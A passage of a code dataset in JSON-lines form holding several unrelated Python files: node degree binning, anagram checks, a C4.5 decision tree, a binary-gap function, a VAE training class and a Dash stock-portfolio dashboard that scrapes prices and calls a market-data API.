'../networks/'\n \n \n degreeMatrix = pd.read_table(path + infile, '\\t', header = None)\n #Fill missing values\n degreeMatrix = degreeMatrix.fillna(0)\n \n high = int(len(degreeMatrix)*thresholdHigh)\n low = int(len(degreeMatrix)*thresholdLow) \n \n \n # Extract each column of types of the matrix, in order to make code flexible to every matrix\n for columnNumber in range(1, len(list(degreeMatrix))):\n High = degreeMatrix[[0, columnNumber]].sort(columnNumber, ascending = False).head(high) \n Low = degreeMatrix[[0, columnNumber]].sort(columnNumber, ascending = False).tail(low)\n Med = degreeMatrix[[0, columnNumber]].sort(columnNumber, ascending = False).reset_index().loc[high:(len(degreeMatrix)-low-1), :]\n High[0].to_csv(path + 'High' + str(columnNumber) + outname, sep = '\\t', index = False, header = False) \n Low[0].to_csv(path + 'Low' + str(columnNumber) + outname, sep = '\\t', index = False, header = False)\n Med[0].to_csv(path + 'Med' + str(columnNumber) + outname, sep = '\\t', index = False, header = False)\n #High = degreeMatrix[[0, 1]].sort(1, ascending = False).head(high) \n #Low = degreeMatrix[[0, 1]].sort(1, ascending = False).tail(low)\n #Med = degreeMatrix[[0, 1]].sort(1, ascending = False).reset_index().loc[high:(len(degreeMatrix)-low-1), :]\n #print High[0], Low[0], Med[0]\nnodeBining(0.1, 0.3, 'degreeMatrix.txt')\n","sub_path":"nodeBining.py","file_name":"nodeBining.py","file_ext":"py","file_size_in_byte":2071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"35803024","text":"def validAnagram(s, t):\n if len(s) != len(t):\n return False\n\n return sorted(s) == sorted(t)\n\n\ndef validAnagram2(s, t):\n if len(s) != len(t):\n return False\n\n dic1, dic2 = {}, {}\n\n for char in s:\n dic1[char] = dic1.get(char, 0) + 1 # set default value to 0 and add 1\n for char in t:\n dic2[char] = dic2.get(char, 0) + 1\n\n return dic1 == dic2\n\ndef valid_anagram(s, t):\n if len(s) != len(t): return False\n\n array = [0] * 26\n\n for char in s:\n array[ord(char)-ord('a')] += 1\n for char in t:\n array[ord(char)-ord('a')] -= 1\n\n for num in array:\n if num != 0:\n return False\n\n return True\n","sub_path":"validAnagram.py","file_name":"validAnagram.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"518927823","text":"from math import log\nimport operator\n\n\ndef load_data():\n train_data = [['青年', '否', '否', '中', '否'],\n ['青年', '否', '否', '高', '否'],\n ['青年', '是', '否', '高', '是'],\n ['青年', '是', '是', '中', '是'],\n ['青年', '否', '否', '中', '否'],\n ['中年', '否', '否', '中', '否'],\n ['中年', '否', '否', '高', '否'],\n ['中年', '是', '是', '高', '是'],\n ['中年', '否', '是', '很高', '是'],\n ['中年', '否', '是', '很高', '是'],\n ['老年', '否', '是', '很高', '是'],\n ['老年', '否', '是', '高', '是'],\n ['老年', '是', '否', '高', '是'],\n ['老年', '是', '否', '很高', '是'],\n ['老年', '否', '否', '中', '否']]\n test_data = [['青年', '否', '否', '中'],\n ['中年', '��', '否', '高'],\n ['老年', '是', '否', '高']]\n\n labels = ['年龄段', '婚否', '车否', '身高', '贷款']\n\n return train_data, test_data, labels\n\n\ndef calEnt(dataset):\n \"\"\"\n 计算香农信息熵\n\n :param dataset: 待求熵值数据集\n :return: 香农信息熵\n \"\"\"\n numEntries = len(dataset)\n labelCounts = {}\n # 给所有可能分类创建字典\n for featVec in dataset:\n currentlabel = featVec[-1]\n if currentlabel not in labelCounts.keys():\n labelCounts[currentlabel] = 0\n labelCounts[currentlabel] += 1\n Ent = 0.0\n for key in labelCounts:\n p = float(labelCounts[key]) / numEntries\n Ent = Ent - p * log(p, 2) # 以2为底求对数\n return Ent\n\n\ndef splitdataset(dataset, bestFeat, value):\n \"\"\"\n 划分数据集\n\n :param dataset: 当前数据集\n :param bestFeat: 最高增益率特征下标\n :param value: 最高增益率标签取值\n :return: 最高增益率标签取值为value的数据项删掉最高增益率标签的数据子集\n \"\"\"\n retdataset = [] # 创建返回的数据集列表\n for featVec in dataset: # 抽取符合划分特征的值\n if featVec[bestFeat] == value:\n reducedfeatVec = featVec[:bestFeat] # 去掉bestFeat特征\n reducedfeatVec.extend(featVec[bestFeat + 1:]) # 将符合条件的特征添加到返回的数据集列表\n retdataset.append(reducedfeatVec)\n return retdataset\n\n\ndef C45_chooseBestFeatureToSplit(dataset):\n \"\"\"\n 选择最高增益率的特征\n\n :param dataset: 当前数据集\n :return: 最高增益率特征的下标\n \"\"\"\n numFeatures = len(dataset[0]) - 1\n baseEnt = calEnt(dataset)\n bestInfoGain_ratio = 0.0\n bestFeature = -1\n for i in range(numFeatures): # 遍历所有特征\n featList = [example[i] for example in dataset]\n uniqueVals = set(featList) # 将特征列表创建成为set集合,元素不可重复。创建唯一的分类标签列表\n newEnt = 0.0\n IV = 0.0\n for value in uniqueVals: # 计算每种划分方式的信息熵\n subdataset = splitdataset(dataset, i, value)\n p = len(subdataset) / float(len(dataset))\n newEnt += p * calEnt(subdataset)\n IV = IV - p * log(p, 2)\n infoGain = baseEnt - newEnt\n if (IV == 0): # 固有值为0时不能作为分母\n continue\n infoGain_ratio = infoGain / IV # 当前特征增益率\n if (infoGain_ratio > bestInfoGain_ratio): # 选择增益率最大的特征\n bestInfoGain_ratio = infoGain_ratio\n bestFeature = i\n return bestFeature\n\n\ndef majorityCnt(classList):\n \"\"\"\n 统计当前标签出现次数最多的取值\n\n :param classList:\n :return: 当前标签出现次数最多的取值\n \"\"\"\n c_count={}\n for i in classList:\n if i not in c_count.keys():\n c_count[i]=0\n c_count[i]+=1\n ClassCount = sorted(c_count.items(),key=operator.itemgetter(1),reverse=True)#按照统计量降序排序\n # ClassCount = sorted(c_count.items(), key=lambda v: v[1], reverse=True) # 按照统计量降序排序\n return ClassCount[0][0]#reverse=True表示降序,因此取[0][0],即最大值\n\n\n\ndef C45_createTree(dataset, labels):\n \"\"\"\n 建立C4.5决策树\n\n :param dataset: 训练数据集\n :param labels: 数据标签\n :return: C4.5决策树\n \"\"\"\n classList = [example[-1] for example in dataset]\n if classList.count(classList[0]) == len(classList):\n # 类别完全相同,停止划分\n return classList[0]\n if len(dataset[0]) == 1:\n # 遍历完所有特征时返回出现次数最多的\n return majorityCnt(classList)\n bestFeat = C45_chooseBestFeatureToSplit(dataset) # 最高增益率的特征下标\n bestFeatLabel = labels[bestFeat] # 最高增益率的特征\n C45Tree = {bestFeatLabel: {}}\n del (labels[bestFeat])\n # 得到列表包括节点所有的属性值\n featValues = [example[bestFeat] for example in dataset]\n uniqueVals = set(featValues)\n for value in uniqueVals:\n subLabels = labels.copy()\n C45Tree[bestFeatLabel][value] = C45_createTree(splitdataset(dataset, bestFeat, value), subLabels) # 递归创建决策树\n return C45Tree\n\n\ndef classify(inputTree, featLabels, testVec):\n \"\"\"\n 分析测试数据项, 得出分类结果\n\n :param inputTree: C4.5决策树\n :param featLabels: 特征标签\n :param testVec: 测试数据项\n :return: 结果\n \"\"\"\n firstStr = list(inputTree.keys())[0]\n secondDict = inputTree[firstStr]\n featIndex = featLabels.index(firstStr)\n classLabel = '否'\n for key in secondDict.keys():\n if testVec[featIndex] == key:\n if type(secondDict[key]).__name__ == 'dict':\n classLabel = classify(secondDict[key], featLabels, testVec) # 递归分类\n else:\n classLabel = secondDict[key]\n return classLabel\n\n\nif __name__ == '__main__':\n train_data, test_data, labels = load_data()\n feaLabels = labels.copy()\n Tree = C45_createTree(train_data, labels)\n print('C4.5决策树:', Tree)\n for item in test_data:\n classLabel = classify(Tree, feaLabels, item)\n print(item, classLabel)","sub_path":"DecisionTree/C4.5.py","file_name":"C4.5.py","file_ext":"py","file_size_in_byte":6377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"61237975","text":"def longest_sequence(N):\r\n '''\r\n Find longest sequence of zeros in binary representation of an integer.\r\n The solution is straight-forward! Use of binary shift.\r\n '''\r\n cnt = 0\r\n result = 0\r\n found_one = False\r\n \r\n i = N\r\n \r\n while i:\r\n if i & 1 == 1:\r\n if (found_one == False):\r\n found_one = True\r\n else:\r\n result = max(result,cnt)\r\n cnt = 0\r\n else:\r\n cnt += 1\r\n i >>= 1\r\n \r\n return result","sub_path":"longest_sequence.py","file_name":"longest_sequence.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"28208795","text":"import imageio\nimport numpy as np\nimport torch\nimport time\nfrom torch.nn import functional as F\nfrom torchvision.utils import make_grid\n\nEPS = 1e-12\nclass Trainer():\n def __init__(self, model, optimizer, print_loss_every=50, record_loss_every=5,\n use_cuda=False):\n \"\"\"\n Class to handle training of model.\n\n Parameters\n ----------\n model : jointvae.models.VAE instance\n\n optimizer : torch.optim.Optimizer instance\n\n print_loss_every : int\n Frequency with which loss is printed during training.\n\n record_loss_every : int\n Frequency with which loss is recorded during training.\n\n use_cuda : bool\n If True moves model and training to GPU.\n \"\"\"\n self.model = model\n self.optimizer = optimizer\n self.print_loss_every = print_loss_every\n self.record_loss_every = record_loss_every\n self.use_cuda = use_cuda\n\n if self.use_cuda:\n self.model.cuda()\n\n # Initialize attributes\n self.num_steps = 0\n self.batch_size = None\n self.losses = {'loss': [],\n 'ndcg': []}\n\n\n def train(self, data_loader, epochs=10, save_training_gif=None):\n \"\"\"\n Trains the model.\n\n Parameters\n ----------\n data_loader : torch.utils.data.DataLoader\n\n epochs : int\n Number of epochs to train the model for.\n\n save_training_gif : None or tuple (string, Visualizer instance)\n If not None, will use visualizer object to create image of samples\n after every epoch and will save gif of these at location specified\n by string. Note that string should end with '.gif'.\n \"\"\"\n if save_training_gif is not None:\n training_progress_images = []\n\n self.batch_size = data_loader.batch_size\n self.model.train()\n for epoch in range(epochs):\n epoch_train_start = time.time()\n mean_epoch_loss = self._train_epoch(data_loader)\n print('Epoch: {} Average loss: {:.2f} Training time: {:.2f}'.format(epoch + 1,\n self.batch_size * self.model.num_pixels * mean_epoch_loss,\n time.time() - epoch_train_start ))\n \n def _train_epoch(self, data_loader):\n \"\"\"\n Trains the model for one epoch.\n\n Parameters\n ----------\n data_loader : torch.utils.data.DataLoader\n \"\"\"\n epoch_loss = 0.\n print_every_loss = 0. # Keeps track of loss to print every\n # self.print_loss_every\n for batch_idx, (data, label) in enumerate(data_loader):\n iter_loss = self._train_iteration(data)\n epoch_loss += iter_loss\n print_every_loss += iter_loss\n # Print loss info every self.print_loss_every iteration\n if batch_idx % self.print_loss_every == 0:\n if batch_idx == 0:\n mean_loss = print_every_loss\n else:\n mean_loss = print_every_loss / self.print_loss_every\n print('{}/{}\\tLoss: {:.3f}'.format(batch_idx * len(data),\n len(data_loader.dataset),\n self.model.num_pixels * mean_loss))\n print_every_loss = 0.\n # Return mean epoch loss\n return epoch_loss / len(data_loader.dataset)\n\n def _train_iteration(self, data):\n \"\"\"\n Trains the model for one iteration on a batch of data.\n\n Parameters\n ----------\n data : torch.Tensor\n A batch of data. Shape (N, C, H, W)\n \"\"\"\n self.num_steps += 1\n if self.use_cuda:\n data = data.cuda()\n\n self.optimizer.zero_grad()\n recon_batch, latent_dist = self.model(data)\n loss = self._loss_function(data, recon_batch, latent_dist)\n loss.backward()\n self.optimizer.step()\n\n train_loss = loss.item()\n return train_loss\n\n def _loss_function(self, data, recon_data, latent_dist):\n # Reconstruction loss is pixel wise cross-entropy\n total_loss = F.binary_cross_entropy(recon_data.view(-1, self.model.num_pixels),\n data.view(-1, self.model.num_pixels))\n # F.binary_cross_entropy takes mean over pixels, so unnormalise this\n # recon_loss *= self.model.num_pixels\n\n \n # Record losses\n if self.model.training and self.num_steps % self.record_loss_every == 1:\n self.losses['total_loss'].append(total_loss.item())\n\n # To avoid large losses normalise by number of pixels\n return total_loss / self.model.num_pixels\n","sub_path":"autoencoder/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":4914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"475636597","text":"\"\"\" IMPORTS \"\"\"\nimport pandas as pd \nimport os\nimport bs4\nfrom bs4 import BeautifulSoup\nimport requests\nimport dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output, State\nfrom dash.exceptions import PreventUpdate\nimport dash_table\nimport plotly.graph_objs as go\n\napp = dash.Dash(__name__)\n\nserver = app.server\n\n# \"Alphavantage\" api - required for downloading securities prices\napikey = os.environ['ALPHAVANTAGE_KEY'] # please get your own from https://www.alphavantage.co\n\n\"\"\" \nportfolio \n---------\nA list of securities presently or previously held by ISIN number\nname : Name of security\n# AV_symbol: The Alphavantage ticker used to make API calls for price + volume data \nFT_symbol: the Financial Times ticker (used to scrape the latest price) \"\"\"\nportfolio = {\n 'US5949181045' : {'name': 'Microsoft', 'AV_symbol': 'MSFT', 'FT_symbol': 'MSFT:NSQ', 'currency': 'USD', 'Sector': 'Technology', 'Region': 'US'},\n 'GB0007739609' : {'name': 'Travis Perkins', 'AV_symbol': 'LON:TPK', 'FT_symbol': 'TPK:LSE', 'currency': 'GBX', 'Sector': 'Builders Merchant', 'Region': 'UK'},\n 'GB00B24CGK77' : {'name': 'Reckitt Benckiser', 'AV_symbol': 'LON:RB', 'FT_symbol': 'RB.:LSE', 'currency': 'GBX', 'Sector': 'Consumer Goods', 'Region': 'UK'},\n 'GB0030927254' : {'name': 'ASOS', 'AV_symbol': 'LON:ASC', 'FT_symbol': 'ASC:LSE', 'currency': 'GBX', 'Sector': 'Consumer Goods', 'Region': 'UK'}\n}\n\n\"\"\"\ntransactions \n------------\nA pandas dataframe containing all buy and sell transactions\nunit_cost: cost of single share\nquantity: no. of units bought/sold\ncomission: how much charged for transaction \n\"\"\"\ntransactions = pd.DataFrame(\n columns=['timestamp', 'ISIN', 'deal_type', 'unit_cost', 'quantity', 'commission'],\n data=[\n ['2019-06-17', 'US5949181045', 'buy', 106.2855, 1, 1],\n ['2019-06-17', 'US5949181045', 'buy', 106.3456, 4, 0],\n ['2019-08-01', 'GB0007739609', 'buy', 13.3864, 10, 1],\n ['2019-08-01', 'GB0030927254', 'buy', 26.9000, 2, 0],\n ['2019-08-02', 'GB0030927254', 'buy', 25.5840, 1, 0],\n ['2019-08-02', 'GB00B24CGK77', 'buy', 61.4509, 2, 0],\n ['2019-08-02', 'GB0007739609', 'buy', 12.5773, 3, 0]\n ]\n)\ntransactions = transactions.astype({'timestamp':'datetime64','ISIN': 'object', 'deal_type': 'category', 'unit_cost': 'float64', 'quantity': 'int16', 'commission': 'uint8'})\n\n\"\"\" FUNCTIONS \"\"\"\ndef scrape_fx(fx_value):\n \"\"\"\n scrape_fx\n ---------\n Function to scrape the FX from the Financial Times\n Returns the FX price as a float.\n \"\"\"\n r = requests.get(\"https://markets.ft.com/data/currencies/tearsheet/summary?s=GBP\"+fx_value+\"\")\n soup = bs4.BeautifulSoup(r.text, features=\"html.parser\")\n fx = soup.find(\"span\", {\"class\": \"mod-ui-data-list__value\"}).text\n return float(fx)\n\n\ndef scrape_price(share_symbol):\n \"\"\"\n scrape_price\n ------------\n Function to scrape the price of a chosen security\n Returns the price as a string\n \"\"\"\n r = requests.get(\"https://markets.ft.com/data/equities/tearsheet/summary?s=\"+share_symbol+\"\")\n soup = bs4.BeautifulSoup(r.text, features=\"html.parser\")\n price = soup.find(\"span\", {\"class\": \"mod-ui-data-list__value\"}).text\n return price\n\ndef string_to_float(price):\n \"\"\"\n string_to_float\n ---------------\n Function to convert the output of scrape_price() into a float\n \"\"\"\n if \",\" in price:\n x = price.index(\",\")\n price = price[:x] + price[x+1:]\n return float(price)\n else:\n return float(price)\n\n# a loop which gets the latest price for all securities in portfolio and adds them into a dict\n# if ISIN id given, then features only that price\ndef get_prices(id=''):\n \"\"\"\n get_prices\n ----------\n Function which builds a dictionary of all prices (value) by ISIN number (key)\n When an ISIN number is passed to id, the price for that ISIN is returned as float\n \"\"\"\n if id:\n price = scrape_price(portfolio[id]['FT_symbol'])\n price = string_to_float(price)\n if portfolio[id]['currency'] == 'USD':\n current_prices = price / scrape_fx(\"USD\")\n elif portfolio[id]['currency'] == 'GBX':\n current_prices = price / 100\n else:\n current_prices = price\n else:\n current_prices = {}\n for i in portfolio.keys():\n price = scrape_price(portfolio[i]['FT_symbol'])\n price = string_to_float(price)\n if portfolio[i]['currency'] == 'USD':\n current_prices[i] = price / scrape_fx(\"USD\")\n elif portfolio[i]['currency'] == 'GBX':\n current_prices[i] = price / 100\n else:\n current_prices[i] = price\n return current_prices\n\n# extract security sector\ndef get_sector():\n sector = {}\n for i in portfolio.keys():\n sector[i] = portfolio[i]['Sector']\n return sector\n\n# extract security region\ndef get_region():\n region = {}\n for i in portfolio.keys():\n region[i] = portfolio[i]['Region']\n return region\n\n# extract security name\ndef get_name():\n name = {}\n for i in portfolio.keys():\n name[i] = portfolio[i]['name']\n return name\n\n\n\"\"\" Assignments & Calculations \"\"\"\n# calculate cost of bought shares\nbought = transactions[transactions.deal_type =='buy'] # filter by shares bought\ncost = (bought.unit_cost * bought.quantity) + bought.commission # calculate £ cost of bought shares\nbought = pd.concat([bought,cost],axis=1) # concatenate cost to the bought shares\nbought.rename(columns = {0:'cost'}, inplace = True) # name the concatenated column as cost\n\nindividual_cost = bought.groupby('ISIN').cost.sum() # find total cost grouped by stock\ntotal_cost = individual_cost.sum() # sum total cost\n\n# calculate cash received when shares sold\nsold = transactions[transactions.deal_type =='sell'] # filter by shares sold\nsold_value = (sold.unit_cost * sold.quantity) - sold.commission # calculate the sale value\nsold = pd.concat([sold,sold_value],axis=1) # concatenate sale value to the shares sold\nsold.rename(columns = {0:'sale'}, inplace = True) # name the concatenated column as sale\ntotal_sold = sold_value.sum() # calculate total sold\n\n# create a table holding all information \ntransactions_complete = pd.concat([transactions, cost], axis=1) # concatenate the £ cost to the original transactions table\ntransactions_complete.rename(columns = {0:'cost'}, inplace = True) \ntransactions_complete = pd.concat([transactions_complete, sold_value], axis=1) # concatenate the £ sale value to the original transactions table\ntransactions_complete.rename(columns = {0:'sale'}, inplace = True)\n\n# calculate the cost of remaining shares\ncurrent_holding = transactions_complete.groupby('ISIN')[['cost','sale']].sum()['cost'] - transactions_complete.groupby('ISIN')[['cost','sale']].sum()['sale']\ncurrent_quantity = bought.groupby('ISIN').quantity.sum().sub(sold.groupby('ISIN').quantity.sum(), fill_value=0)\nweighted_cost = current_holding / current_quantity # calculate weighted cost per share\n\n# get fx data\nusd_daily = pd.read_csv(\"https://www.alphavantage.co/query?function=FX_DAILY&from_symbol=GBP&to_symbol=USD&apikey=\"+apikey+\"&datatype=csv\").loc[:,['timestamp','close']]\nusd_daily['timestamp'] = pd.to_datetime(usd_daily['timestamp'], infer_datetime_format=True)\nusd_daily = usd_daily.set_index('timestamp')\n\n\"\"\" DASHBOARD LAYOUT \"\"\"\napp.layout = html.Div([\n dcc.Tabs(id=\"tabs\", children=[\n dcc.Tab(label=\"Tab one\", children=[\n html.Div(\n [\n html.Div(\n [\n html.H2(\n 'Investment Portal',\n\n ),\n html.H4(\n 'Overall performance',\n ),\n html.Button('Refresh', id='button')\n ],\n className='header twelve columns'\n ),\n ],\n className='row',\n ),\n html.Div(\n [\n html.Div(\n [\n html.P(\n \"Overall gain (£)\",\n className='text'),\n html.H6(\n id=\"total_gain\",\n className=\"info_text\"\n ),\n html.P(\n \"GBP £ / USD $\",\n className='text'\n ),\n html.H6(\n id=\"GBP_USD\",\n className=\"info_text\"\n ),\n html.P(\n \"GBP £ / EUR €\",\n className='text'\n ),\n html.H6(\n id=\"GBP_EUR\",\n className=\"info_text\"\n )\n ],\n className=\"pretty_container two columns\"\n ),\n html.Div(\n [\n dcc.Graph(\n id='sterling_performance'\n ),\n ],\n className=\"pretty_container five columns\"\n ),\n html.Div(\n [\n dcc.Graph(\n id='percent_performance'\n ),\n ],\n className=\"pretty_container five columns\"\n )\n ],\n className=\"row\"\n ),\n html.Div(\n [\n html.Div(\n [\n dcc.Graph(\n id='sector_pie'\n )\n ],\n className='four columns'\n ),\n html.Div(\n [\n dcc.Graph(\n id='region_pie'\n )\n ],\n className='four columns'\n ),\n html.Div(\n [\n dcc.Graph(\n id='value_chart'\n )\n ],\n className='four columns'\n )\n ],\n className='row',\n ),\n html.Div(\n [\n html.H2('All Transactions'),\n html.Div(\n [\n dash_table.DataTable(\n id='all_transactions',\n columns=[{'name': i, 'id': i} for i in transactions_complete.columns],\n data=transactions_complete.to_dict('records'),\n style_cell_conditional = [\n {\n 'if': {'column_id': i},\n 'textAlign': 'center'\n } for i in transactions_complete.columns\n ],\n style_data_conditional = [\n {\n 'if': {'row_index': 'odd'},\n 'backgroundColor': 'rgb(248, 248, 248)'\n }\n ],\n style_header={\n 'backgroundColor': 'rgb(230, 230, 230)',\n 'fontWeight': 'bold'\n }\n )\n ],\n className=\"pretty_container twelve columns\"\n )\n ],\n className=\"row\"\n )\n ]),\n dcc.Tab(label='Tab two', children=[\n html.Div(\n [\n html.Div(\n [\n html.H2(\n 'Individual drilldown',\n\n ),\n html.H4(\n 'Performance and historical price',\n )\n ],\n className='header twelve columns'\n ),\n ],\n className='row',\n ),\n html.Div(\n [\n html.Div(\n [\n html.H2(\n 'Portfolio Summary'\n ),\n dcc.Dropdown(\n id='portfolio-dropdown',\n options=[{'label': portfolio[k]['name'], 'value': k} for k in portfolio.keys()],\n value='US5949181045'\n ),\n html.P(\n \"Units held (no.)\",\n className='text'\n ),\n html.H6(\n id=\"units_held_text\",\n className=\"info_text\"\n ),\n html.P(\"Cost (£)\",\n className='text'\n ),\n html.H6(\n id=\"cost_text\",\n className=\"info_text\"\n ),\n html.P(\"Weighted cost (£)\",\n className='text'\n ),\n html.H6(\n id=\"Weighted_cost_text\",\n className=\"info_text\"\n ),\n html.P(\"Value (£)\",\n className='text'\n ),\n html.H6(\n id=\"value_text\",\n className=\"info_text\"\n )\n ],\n className=\"pretty_container four columns\"\n ),\n html.Div(\n [\n html.Div(\n [\n html.Div(\n [\n html.P(\n \"Latest Price (converted to £)\",\n className='text'\n ),\n html.H6(\n id=\"latest_price_text\",\n className=\"info_text\"\n )\n ],\n className=\"mini_container\"\n ),\n html.Div(\n [\n html.P(\n \"Performance (£)\",\n className='text'),\n html.H6(\n id=\"performance_text\",\n className=\"info_text\"\n )\n ],\n className=\"mini_container\"\n ),\n ],\n id=\"infoContainer\",\n className=\"row\"\n ),\n html.Div(\n [\n dcc.Graph(\n id='performance_chart'\n )\n ],\n className=\"graph_container\"\n )\n ],\n className=\"eight columns\"\n )\n ],\n className=\"row\"\n ),\n html.Div(\n [\n html.Div(\n [\n dcc.Graph(\n id='daily_chart'\n ),\n ],\n className=\"graph_container twelve columns\"\n )\n ],\n className=\"row\"\n ),\n html.Div(\n [\n html.Div(\n [\n dcc.Graph(\n id='daily_volume'\n ),\n ],\n className=\"graph_container twelve columns\"\n )\n ],\n className=\"row\"\n ),\n html.Div(\n [\n html.Div(\n [\n html.H2(\n 'Transaction History'\n ),\n html.Div(\n id='output-transaction-data'\n ),\n ],\n className=\"pretty_container twelve columns\"\n )\n ],\n className=\"row\"\n )\n ])\n ])\n])\n\n# create transaction table\ndef retrieve_transactions(df):\n return html.Div([\n dash_table.DataTable(\n data=df.to_dict('records'),\n columns=[{'name': i, 'id': i} for i in df.columns],\n style_cell_conditional = [\n {\n 'if': {'column_id': i},\n 'textAlign': 'center'\n } for i in df.columns\n ],\n style_data_conditional = [\n {\n 'if': {'row_index': 'odd'},\n 'backgroundColor': 'rgb(248, 248, 248)'\n }\n ],\n style_header={\n 'backgroundColor': 'rgb(230, 230, 230)',\n 'fontWeight': 'bold'\n }\n ),\n ])\n\n@app.callback([\n Output('sector_pie', 'figure'),\n Output('region_pie', 'figure'),\n Output('value_chart', 'figure'),\n Output('sterling_performance', 'figure'),\n Output('percent_performance', 'figure'),\n Output('total_gain', 'children'),\n Output('GBP_USD', 'children'),\n Output('GBP_EUR', 'children')],\n [Input('button', 'n_clicks')])\ndef calculate_value(n_clicks):\n # get current prices\n current_price = pd.Series(get_prices())\n # fx prices\n gbp_usd = scrape_fx(\"USD\")\n gbp_eur = scrape_fx(\"EUR\")\n # calculate the value of current quantity\n individual_value = current_quantity * current_price\n total_value = individual_value.sum()\n # calculate the difference between ( current value + cash from sold shares ) minus the original cost\n total_gain = (total_value + total_sold) - total_cost\n # create a dataframe which details value and performance \n proportion = pd.concat([individual_value, (( current_price - weighted_cost ) / weighted_cost) * 100, individual_value - current_holding], axis=1)\n proportion.rename(columns = {0:'value', 1:'percent_gain', 2:'sterling_gain'}, inplace = True)\n proportion['name'] = proportion.index.map(get_name())\n proportion['sector'] = proportion.index.map(get_sector())\n proportion['region'] = proportion.index.map(get_region()).astype('category')\n \n palette = []\n for x in proportion['sterling_gain']:\n if x == proportion['sterling_gain'].max():\n palette.append('darkgreen')\n elif x < 0:\n if x == proportion['sterling_gain'].min():\n palette.append('indianred')\n else:\n palette.append('lightsalmon')\n else:\n palette.append('#a6d5f5')\n\n sector_piechart = {\n 'data': [\n go.Pie(labels=proportion.sector, values=proportion.value, hole=.3) \n ],\n \"layout\": go.Layout(title=f\"Securities by sector\")\n }\n\n region_piechart = {\n 'data': [\n go.Pie(labels=proportion.region, values=proportion.value, hole=.3) \n ],\n \"layout\": go.Layout(title=f\"Securities by country\")\n }\n\n value_chart = {\n 'data': [\n go.Bar(\n x=proportion['name'],\n y=proportion['value']\n )\n ],\n \"layout\": go.Layout(title=f\"Value (£)\")\n }\n\n sterling_performance = {\n 'data': [\n go.Bar(\n x=proportion['name'],\n y=proportion['sterling_gain'],\n marker_color = palette\n )\n ],\n \"layout\": go.Layout(title=f\"Performance (£)\")\n }\n\n percent_performance = {\n 'data': [\n go.Bar(\n x=proportion['name'],\n y=proportion['percent_gain'],\n marker_color = palette\n )\n ],\n \"layout\": go.Layout(title=f\"Performance (%)\")\n }\n\n return sector_piechart, region_piechart, value_chart, sterling_performance, percent_performance, total_gain, gbp_usd, gbp_eur\n\n@app.callback([\n Output('latest_price_text', 'children'),\n Output('output-transaction-data', 'children'),\n Output('units_held_text', 'children'),\n Output('cost_text', 'children'),\n Output('Weighted_cost_text', 'children'),\n Output('value_text', 'children'),\n Output('performance_text', 'children'),\n Output('daily_chart', 'figure'),\n Output('daily_volume', 'figure'),\n Output('performance_chart', 'figure')],\n [Input('portfolio-dropdown', 'value')])\n# update dataset input\ndef transaction_output(value):\n # filter for selected security\n df = transactions_complete[transactions_complete.ISIN == value]\n # create output transaction table\n transaction_table = retrieve_transactions(df) \n # get earliest date shares were bought \n start_date = df['timestamp'].min()\n\n # get units held, cost of buy, weighted average and current value\n units_held = current_quantity.loc[value]\n total_cost = current_holding.loc[value]\n weighted_average = weighted_cost[value]\n latest_price = get_prices(id=value)\n current_value = units_held * latest_price\n\n # spot gain if all shares sold\n gain_at_sale = current_value - total_cost\n \n # pull securities data from Alphavantage\n symbol = portfolio[value]['AV_symbol']\n daily = pd.read_csv(\"https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol=\"+symbol+\"&apikey=\"+apikey+\"&datatype=csv\")\n daily['timestamp'] = pd.to_datetime(daily['timestamp'], infer_datetime_format=True)\n daily = daily.set_index('timestamp')\n\n if portfolio[value]['currency'] == 'USD':\n temp = pd.merge(usd_daily.loc[:start_date,:], daily.loc[:start_date,'close'], how='inner',left_index=True, right_index=True)\n fx_adjusted_value = temp.close_y / temp.close_x\n daily_change = (fx_adjusted_value - weighted_average) * units_held\n elif portfolio[value]['currency'] == 'GBX':\n daily = daily / 100\n daily_change = (daily.loc[:start_date,'close'] - weighted_average) * units_held\n else:\n daily_change = (daily.loc[:start_date,'close'] - weighted_average) * units_held\n\n # Create daily candlestick chart\n daily_chart = {\n 'data': [\n go.Candlestick(\n x = daily.index,\n open = daily.open,\n high = daily.high,\n low = daily.low,\n close = daily.close,\n name = symbol+' Price (Daily close)',\n increasing = dict( line = dict( color = '#00232d' ) ),\n decreasing = dict( line = dict( color = '#93D0EF' ) ),\n )\n ],\n \"layout\": go.Layout(title=f\"Daily Candlestick\")\n }\n # calculate moving average\n rolling_mean = daily.close.rolling(window=5).mean()\n # create daily price moving average\n rolling_mean_chart = go.Scatter(\n x = daily.index,\n y = rolling_mean,\n name = \"Moving average\"\n )\n # add moving average to candlestick chart\n daily_chart['data'].append(rolling_mean_chart)\n \n colors = []\n INCREASING_COLOR = '#17BECF'\n DECREASING_COLOR = '#7F7F7F'\n for i in range(len(daily.volume)):\n if i != 0:\n if daily.volume[i] > daily.volume[i-1]:\n colors.append(INCREASING_COLOR)\n else:\n colors.append(DECREASING_COLOR)\n else:\n colors.append(DECREASING_COLOR)\n\n # Daily Volume\n daily_volume = {\n 'data': [\n go.Bar(\n x = daily.index,\n y = daily.volume,\n name = 'Volume',\n marker_color = colors\n )\n ],\n \"layout\": go.Layout(title=f\"Daily volume\")\n }\n\n #daily_change_p = (daily_change / weighted_average) * 100\n\n # performance \n performance_chart = {\n 'data': [\n go.Scatter(\n x = daily_change.index,\n y = daily_change\n )\n ],\n \"layout\": go.Layout(title=f\"Performance history (£)\")\n }\n\n # return all items\n return latest_price, [transaction_table], units_held, total_cost, weighted_average, current_value, gain_at_sale, daily_chart, daily_volume, performance_chart\n\nif __name__ == '__main__':\n app.run_server(debug=True)","sub_path":"example-dashboard-apps/portfolio_app/portfolio_app.py","file_name":"portfolio_app.py","file_ext":"py","file_size_in_byte":25476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"424045277","text":"import pandas as pd\r\nfrom flask import Flask, jsonify, request\r\nimport pickle\r\nimport keras\r\nfrom 